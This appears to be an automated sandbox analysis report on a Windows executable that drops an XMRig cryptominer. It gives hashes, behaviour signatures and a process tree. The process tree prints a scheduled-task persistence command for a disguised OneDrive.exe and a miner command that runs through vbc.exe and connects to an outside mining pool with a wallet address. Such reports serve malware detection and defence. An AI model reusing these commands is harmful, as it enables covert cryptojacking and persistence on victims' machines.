Analysis
-
max time kernel
128s -
max time network
138s -
platform
windows10-1703_x64 -
resource
win10-20231023-en -
resource tags
-
submitted
11/12/2023, 07:56
General
-
Target
0bd27d2500a2517a830fe451e0430676d0cda03ff4ca4f1e5de1b772254c47b6.exe
-
Size
2.3MB
-
MD5
d493952b6d53bb0bef7763a32e0201ba
-
SHA1
a45bb206c9bd2a28644ba7070fae3fe48133f486
-
SHA256
0bd27d2500a2517a830fe451e0430676d0cda03ff4ca4f1e5de1b772254c47b6
-
SHA512
248137d9d91f5d1aa941b0269ed165feb34aa7a152cdd7034133b39a16f71649140ddd4db887be2b13f1480aa82a287e11eafc62784b2fcd2f883e4e987aa70e
-
SSDEEP
49152:GPvkK66wOpKQ113en1aFV5tKz3vhPYzBfynpSvb:X9DB61OnUFVzK6Bqnsb
Malware Config
Signatures
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
XMRig Miner payload 3 IoCs
-
Executes dropped EXE 1 IoCs
-
UPX packed file 6 IoCs
Detects executables packed with UPX/modified UPX open source packer.
-
Uses the VBS compiler for execution 1 TTPs
-
Suspicious use of SetThreadContext 1 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Delays execution with timeout.exe 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 5 IoCs
-
Suspicious behavior: LoadsDriver 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 4 IoCs
-
Suspicious use of FindShellTrayWindow 1 IoCs
-
Suspicious use of WriteProcessMemory 17 IoCs
-
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\0bd27d2500a2517a830fe451e0430676d0cda03ff4ca4f1e5de1b772254c47b6.exe"C:\Users\Admin\AppData\Local\Temp\0bd27d2500a2517a830fe451e0430676d0cda03ff4ca4f1e5de1b772254c47b6.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpF3E5.tmp.bat""2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\timeout.exetimeout 33⤵
- Delays execution with timeout.exe
-
-
C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe"C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ABSOLUTE" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ABSOLUTE" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe"5⤵
- Creates scheduled task(s)
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o fr-zephyr.miningocean.org:5342 -u ZEPHYR2dNRNd7BpuKZoXnqZu7WiTzoMXE8EhzsTJDnXV9ZDksih16M2EazfmCb3ax9Z78hH9iJMxSQE1NBkPCK6W3M8SBGcc7ZC2z -p work -a rx/0 --donate-level 1 --opencl4⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2.3MB
MD5d493952b6d53bb0bef7763a32e0201ba
SHA1a45bb206c9bd2a28644ba7070fae3fe48133f486
SHA2560bd27d2500a2517a830fe451e0430676d0cda03ff4ca4f1e5de1b772254c47b6
SHA512248137d9d91f5d1aa941b0269ed165feb34aa7a152cdd7034133b39a16f71649140ddd4db887be2b13f1480aa82a287e11eafc62784b2fcd2f883e4e987aa70e
-
Filesize
1.1MB
MD581cd3c6d3073873799e8bfe6aaf98ee9
SHA137c1290af91cc373abd71fd601b6c7fcea8fd1e8
SHA2563cc741a7f7bc78594119f1227cea02101f6eb80f2630f9161a90e043e6cf5f3b
SHA512eb53b7eebbdd013a39f4bbeb38f30720692e1e894a2f3ce041db71a3722f33c5b920d263b30c0b55c0e0ff764541592a10e2e8de328bb31f5ac9b0f694f6eda3
-
Filesize
176B
MD5d1da12a8e9f688a513af5d399ccd1672
SHA1c5dabc5ce5080e0e340c8af6b16357ba7e172138
SHA2569a803dc4fcb524281c1011f19d945e5c420a97ffe59f0b8cf390ea7ffba4a791
SHA512b3d84ef15187cb94662763be8f335b4bc2a9c6012b06423a6ed28a7adfe9ec2dee53512adcfedd659830d80c3e9ef24c734aca40a933a55d297dd2088c887c25
-
Filesize
7.9MB
-
Filesize
7.9MB
-
Filesize
7.9MB
-
Filesize
7.9MB
-
Filesize
128KB
-
Filesize
256KB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
7.9MB
-
Filesize
7.9MB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
3.0MB
-
Filesize
40KB
-
Filesize
1.9MB
-
Filesize
2.3MB
-
Filesize
628KB
-
Filesize
1.1MB
-
Filesize
2.3MB
-
Filesize
1.2MB
-
Filesize
644KB
-
Filesize
424KB
-
Filesize
324KB
-
Filesize
156KB
-
Filesize
1.3MB
-
Filesize
396KB
-
Filesize
624KB
-
Filesize
9.9MB
-
Filesize
9.9MB
-
Filesize
988KB
-
Filesize
1.3MB
-
Filesize
256KB
-
Filesize
1.2MB
-
Filesize
2.3MB
-
Filesize
2.3MB
-
Filesize
9.9MB
-
Filesize
68KB
-
Filesize
988KB
-
Filesize
1.3MB
-
Filesize
628KB
-
Filesize
156KB
-
Filesize
624KB
-
Filesize
2.3MB
-
Filesize
256KB
-
Filesize
624KB
-
Filesize
1.2MB
-
Filesize
9.9MB
-
Filesize
148KB
-
Filesize
64KB
-
Filesize
148KB
-
Filesize
816KB
-
Filesize
432KB
-
Filesize
220KB
-
Filesize
1.9MB
-
Filesize
2.3MB
-
Filesize
2.3MB
-
Filesize
628KB
-
Filesize
1.1MB
-
Filesize
3.0MB
-
Filesize
9.9MB
-
Filesize
988KB
-
Filesize
1.3MB
-
Filesize
1.3MB
-
Filesize
616KB
-
Filesize
156KB
-
Filesize
324KB
-
Filesize
644KB
-
Filesize
424KB
-
Filesize
2.3MB
-
Filesize
256KB
-
Filesize
9.9MB
-
Filesize
68KB
-
Filesize
156KB
-
Filesize
628KB
-
Filesize
256KB
-
Filesize
256KB
-
Filesize
2.3MB